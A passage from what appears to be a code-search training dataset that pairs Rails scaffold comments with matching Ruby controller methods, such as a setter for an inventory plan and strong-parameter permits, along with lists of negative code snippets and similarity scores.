respond_to do |format|\n format.html { redirect_to(payment_plans_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @restaurant_floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_floor_plans_url, notice: 'Restaurant floor plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @operator_plan = OperatorPlan.find(params[:id])\n @operator_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(operator_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n expire_action :action => 'index'\n expire_action :action => 'show'\n expire_page action: 'show', id: params[:id]\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mealplan.destroy\n respond_to do |format|\n format.html { redirect_to mealplans_url, notice: 'Mealplan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @local_plan = LocalPlan.find(params[:id])\n if @local_plan.destroy then\n respond_to do |format|\n format.html { redirect_to(local_plans_url) }\n format.xml { head :ok }\n end \n else\n render :action => :edit\n end\n end", "def destroy\n render status: 200, json: @request_item.destroy\n end", "def destroy\n product = @site_plan.product\n @site_plan.destroy\n respond_to do |format|\n format.html { redirect_to \"#{product_path(@product)}/#site_plan-tab\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan_stage = PlanStage.find(params[:id].to_i) rescue nil\n respond_to do |format|\n if @plan_stage\n success = @plan_stage.destroy rescue false\n if success\n format.xml { head :accepted }\n format.json { head :accepted }\n else\n format.xml { render :xml => plan_stage_presenter, :status => :precondition_failed }\n format.json { render :json => plan_stage_presenter, :status => :precondition_failed }\n end\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end", "def destroy\n @pricing_plan = PricingPlan.find(params[:id])\n @pricing_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(pricing_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @payment_plan.destroy\n respond_to do |format|\n redirect_to payment_plans_url, notice: 'Payment plan was successfully destroyed.'\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @lesson_plan.destroy\n respond_to do |format|\n format.html { redirect_to lesson_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n workout_plan = @cardio_plan.workout_plans.first\n @cardio_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_plan_exercise_plans_url(workout_plan)) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @work_plan = WorkPlan.find(params[:id])\r\n @work_plan.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to work_plans_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @lesson_plan = current_user.lesson_plans.detect{params[:id]}\n @lesson_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def destroy\n @plannegocio = Plannegocio.find(params[:id])\n @plannegocio.destroy\n\n respond_to do |format|\n format.html { redirect_to plannegocios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @weekplan.destroy\n respond_to do |format|\n format.html { redirect_to weekplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting_plan.destroy\n respond_to do |format|\n format.html { redirect_to meeting_plans_url, notice: 'Meeting plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plant.destroy\n respond_to do |format|\n format.html { redirect_to plants_url, notice: 'Your Swap was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan_setting = PlanSetting.find(params[:id])\n @plan_setting.destroy\n\n respond_to do |format|\n format.html { redirect_to plan_settings_url }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @investigated.destroy\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @capartment.destroy\n respond_to do |format|\n format.html { redirect_to capartments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n product = @floor_plan.product\n @floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to \"#{product_path(product)}/#floor_plan-tab\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @food_plan.destroy\n respond_to do |format|\n format.html { redirect_to applicant_food_plans_path(@applicant.id), notice: 'Food plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to plan_path(@plan) }\n format.json { head :no_content }\n end\n end", "def destroy\n @planitem = Planitem.find(params[:id])\n\tqtrname = @planitem.sprint.quarter.name\n @planitem.destroy\n\n respond_to do |format|\n format.html { redirect_to plan_path(qtrname) }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n authorize @plan\n if @plan.destroy\n respond_to do |format|\n format.html do\n redirect_to plans_url,\n notice: success_message(@plan, _('deleted'))\n end\n end\n else\n respond_to do |format|\n flash.now[:alert] = failure_message(@plan, _('delete'))\n format.html { render action: 'edit' }\n end\n end\n end", "def destroy\n @planificacion_requerimiento = PlanificacionRequerimiento.find(params[:id])\n planificacion = @planificacion_requerimiento.planificacion \n @planificacion_requerimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to planificacion_path(planificacion) }\n format.json { head :ok }\n end\n end", "def destroy\n @backend_planet = Backend::Planet.find(params[:id])\n @backend_planet.destroy\n\n respond_to do |format|\n format.html { redirect_to backend_planets_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @plan.destroy\r\n\r\n respond_to do |format|\r\n set_plans_grid\r\n format.html { redirect_to redirect_url, notice: t('activerecord.success.messages.destroyed', model: Plan.model_name.human) }\r\n format.js\r\n end\r\n end", "def destroy_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n @instrument_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_versions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @flightplan.destroy\n respond_to do |format|\n format.html { redirect_to flightplans_url, notice: 'Flightplan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @goal.plans.exists?\n flash[:error] = \"Cannot delete goal because it has plans attached\"\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n else\n @goal.destroy\n respond_to do |format|\n format.html { redirect_to back_index_case_url, notice: 'Goal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n end", "def destroy\n @tipo_plan.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end", "def destroy\n @floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to location_path(@location) }\n format.json { head :no_content }\n end\n end", "def destroy\n @care_plan.destroy\n end" ]
[ "0.75575805", "0.75575805", "0.7522356", "0.74864733", "0.74864733", "0.74864733", "0.74313825", "0.7377303", "0.7357508", "0.7325257", "0.72950375", "0.72545105", "0.72545105", "0.72545105", "0.72545105", "0.72545105", "0.72545105", "0.72545105", "0.72545105", "0.7216642", "0.72165614", "0.7160504", "0.71334934", "0.7116482", "0.7111113", "0.7098784", "0.70665634", "0.7060753", "0.7053736", "0.7049752", "0.7018583", "0.69944394", "0.69921213", "0.69582874", "0.69491696", "0.6929779", "0.69259524", "0.6900833", "0.6900241", "0.6892765", "0.6869187", "0.6855906", "0.68555367", "0.6851488", "0.68493634", "0.68427837", "0.6840372", "0.6836083", "0.68236876", "0.68011904", "0.6799263", "0.6778459", "0.67767686", "0.6769384", "0.6766258", "0.6765476", "0.67530364", "0.67319953", "0.67309624", "0.6730777", "0.67003167", "0.66818225", "0.6674766", "0.6667004", "0.66646284", "0.66581655", "0.6654756", "0.6654685", "0.6652009", "0.6643898", "0.66394526", "0.6635307", "0.6634607", "0.6629945", "0.66217804", "0.6609022", "0.66067487", "0.6605607", "0.6603686", "0.6596768", "0.6588734", "0.65821964", "0.6572248", "0.65710545", "0.655243", "0.6544076", "0.65427244", "0.65422726", "0.65164876", "0.65134966", "0.65115553", "0.65101767", "0.6509693", "0.6495247", "0.6474624", "0.64742047", "0.6473228", "0.6458256", "0.64566505", "0.6447982" ]
0.7524009
2
Use callbacks to share common setup or constraints between actions.
def set_inventory_plan @inventory_plan = InventoryPlan.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a list of trusted parameters through.
def inventory_plan_params params.require(:inventory_plan).permit(:Document_number, :Name, :To_id, :description) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, 